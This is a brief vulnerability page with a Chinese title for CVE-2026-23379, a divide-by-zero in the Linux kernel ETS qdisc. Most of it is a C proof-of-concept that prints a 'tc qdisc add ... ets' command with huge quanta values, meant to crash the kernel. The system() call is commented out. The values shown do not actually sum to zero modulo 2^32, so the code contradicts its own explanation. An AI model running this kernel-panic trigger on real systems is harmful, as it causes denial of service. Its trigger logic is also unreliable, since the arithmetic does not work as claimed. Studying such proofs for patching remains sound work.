CVE-2026-23379: Linux内核ETS模块除零漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> /* * PoC for CVE-2026-23379 * Trigger divide-by-zero in Linux Kernel net/sched/ets offload path * Requires CAP_NET_ADMIN privileges (typically root). */ void main() { printf("[*] CVE-2026-23379 PoC: Triggering ETS offload divide by zero...\n"); // The vulnerability is triggered by setting quanta values that sum up // to overflow a 32-bit unsigned integer, causing q_sum to be 0. // This typically involves creating a qdisc with specific large values. // Below is a conceptual representation of the trigger via 'tc' command. // In a real exploit scenario, the attacker crafts a netlink message // or uses the 'tc' utility to configure the 'ets' qdisc with // quanta values that result in an overflow (e.g., values near UINT_MAX). char *cmd = "tc qdisc add dev eth0 root handle 1: ets bands 8 priomap 0 1 2 3 4 5 6 7 quanta 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000"; // Note: The specific values depend on the kernel's internal calculation logic. // The exploit aims to make 'q_sum' wrap to 0. printf("[*] Executing command to trigger kernel panic...\n"); printf("Command: %s\n", cmd); // system(cmd); // DO NOT RUN UNLESS IN A TEST ENVIRONMENT printf("[!] If vulnerable, the kernel will panic (Oops: divide error).\n"); }